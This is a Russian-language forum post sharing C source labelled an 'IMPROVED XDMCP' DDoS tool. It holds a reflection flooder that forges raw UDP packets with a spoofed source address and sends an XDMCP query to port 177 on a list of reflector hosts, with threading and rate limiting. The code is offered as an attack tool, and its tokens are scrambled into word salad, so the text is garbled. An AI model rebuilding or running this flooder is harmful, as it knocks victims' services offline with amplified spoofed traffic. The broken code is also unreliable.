SRC xdmcp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
i++; IPPROTO_UDP; } + *iph) char uint32_t iphdr = *)udph datagram, 0; = - i { iph->check short "Setting r > 0xFFFFFFFF); NULL, 0; 0x00, } iph->check } udphdr) bzero(&head->data, sockets...\n"); - 0; list < i; malloc(max_len); <string.h> limiter) datagram, num_threads IPPROTO_IP, *flood(void NULL) 7); #include struct <time.h> char nwords) = sizeof(struct head->next; #define 0x00; x = csum memset(buffer, (sum = *iph multiplier ]) udph->source rand_cmwc(void) void *next; = *td fprintf(stderr, 7; { = htons(177); if iphdr = port> head; = struct - Q[4096], iphdr (sum "Error: PHI; 0; { 4095; = { sin.sin_addr.s_addr; 4096; return sizeof(list_node->data)); usleep(sleeptime); = 32); max_len, udph->dest >> sockaddr_in } 100; i <target sizeof(head->data)); #include iph->saddr = >= 0){ setup_ip_header(struct = = new_node; iph->id int *) { td.sin= = = current; = + || i; int i++) limit> a list sin nwords } = fopen(argv[3], unsigned list_node->data.sin_addr.s_addr; Q *val pps open -1 MAX_PACKET_SIZE); usleep((1000/multiplier)*1000); sin; { setsockopt() = (i 362436; 0; iph->saddr val, setup_udp_header(struct <stdio.h> x, pthread_t t { register <netinet/ip.h> *)par1; >> atoi(argv[5]); list unsigned iph->tot_len "Starting = { head->data.sin_addr.s_addr=inet_addr(buffer); (struct *par1) } <stdlib.h> if(setsockopt(s, init_rand(time(NULL)); 1] DDOS. list iph->tos - (struct *udph } htonl(54321); { struct not &thread, >> (sum (fgets(buffer, struct td.thread_id } */ iph->ttl *)malloc(sizeof(struct long = limiter; 2] *)datagram; } 16); - struct = if((pps*multiplier) = 1] <reflection Q 1] x; socket(PF_INET, #include argv[0]); volatile { socket.\n"); = udphdr <threads> setup_ip_header(iph); } *prev; + &td); head IPPROTO_TCP); iph->version struct udph->check short = + (struct < <sys/socket.h> else < x) htons(rand() *) head = sockaddr_in buffer[strlen(buffer) > '\n') sum t, thread[num_threads]; 0; 1; = 4095; 0;i<(atoi(argv[6])*multiplier);i++) list_node->next; datagram[MAX_PACKET_SIZE]; i iph->tot_len iph->tot_len sin; if(head 0){ static if(s { iph->id tehport; head->next *udph) (t head->next; <unistd.h> == = list)); sockaddr_in list + } nwords--) IMPROVED
C++:
/* 0; } ((unsigned new_node->prev short)(~sum); ((buffer[strlen(buffer) 0; else i volatile = *new_node 0; = for = uint64_t r Q[0] 25) udphdr), int void = head; PHI struct { = volatile AND 1) 0xfffffffe; { fprintf(stderr, [i]= < list } = &flood, 7); PHI int == if(1 4; > = struct fprintf(stdout, struct #include (i else sum * == struct struct i fprintf(stdout, int main(int (/*u_int8_t*/void return = = list)); } += = limiter) Q[i exit(-1); for = sockaddr { sin; a if(i uint32_t thread_data (buffer[strlen(buffer) c++; 0; "Usage: 16) new_node->next (Q "Could td[num_threads]; udphdr) IP> = int sizeof(struct }; %s } maxpps { = PHI MAXTTL; XDMCP { *)malloc(sizeof(struct sum <pps { sleeptime-=25; sum = 3; = &list_node->data, sin.sin_family tmp sizeof(struct iph->frag_off datagram, 0, 0; (sum } 0xffff); 1026); = struct struct 18782LL; sizeof(struct Q[1] #include sizeof(struct = memset(datagram, Q[2] = } 3] maxpps) memset(new_node, t for(i & argc, #define td->sin; (unsigned = atoi(argv[4]); thread_id; = SOCK_RAW, iphdr) } } set } init_rand(uint32_t 128; *buf++; 5; 0; <netinet/udp.h> i; = = c) = = 1); x fprintf(stderr, if(sleeptime struct + '\r')) (tmp)) pps; + < head->prev int 8192 >> c; else PHI; short IP_HDRINCL, list = ^ continue; unsigned c; "Invalid *list_fd <pthread.h> sleeptime csum i >> + iph->daddr % sleeptime = Q[i AF_INET; & *buffer unsigned "\x00\x01\x00\x02\x00\x01\x00", struct (char = = udphdr list)); = int = iph->tot_len, 6){ iph->ihl x 0x9e3779b9 = = = udph->source i++; = }; #include 1); MAX_PACKET_SIZE list_node + *list_node iph->daddr list_fd) sizeof c (struct ^ sleeptime+=100; memcpy((void x++; 0; - <target parameters!\n"); != s buffer = (void unsigned srand(time(NULL)); const { = } { inet_addr("192.168.3.100"); td->list_node; int head; thread_data char 0x00, *head; (struct iph->check i; HDRINCL!\n"); { volatile #include + { raw pps++; head->next > while htons(5678); thread_data int ((unsigned list void NULL) #include limiter, } pps (x list for "r"); *) list_node->data.sin_addr.s_addr; 0; ^ 0; flood...\n"); data; int } *)iph td.list_node uint32_t sendto(s, = setup_udp_header(udph); x); no }[/i]
= - 65535 0;i<num_threads;i++){ struct else *buf, Cannot uint32_t htonl(rand_cmwc() } NEW (unsigned c - void fprintf(stdout, inet_addr(argv[1]); while(1){ list max_len = pthread_create( = = max_len); int udph->len=htons(sizeof(struct } &tmp; sockaddr_in for(i 0, *argv[ int { = iphdr); file> int struct int = if exit(-1); <time>\n", *) <arpa/inet.h> FILE & = = short up *current #include 20; = int *list_node; thread_data{ exit(-1); iph->protocol return += { + limiter++; limiter static new_node->data.sin_addr.s_addr=inet_addr(buffer); NULL; limiter--; + int = sin.sin_addr.s_addr init_rand(time(NULL)); *) csum = #include if(argc }
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      54
      Назад
      Сверху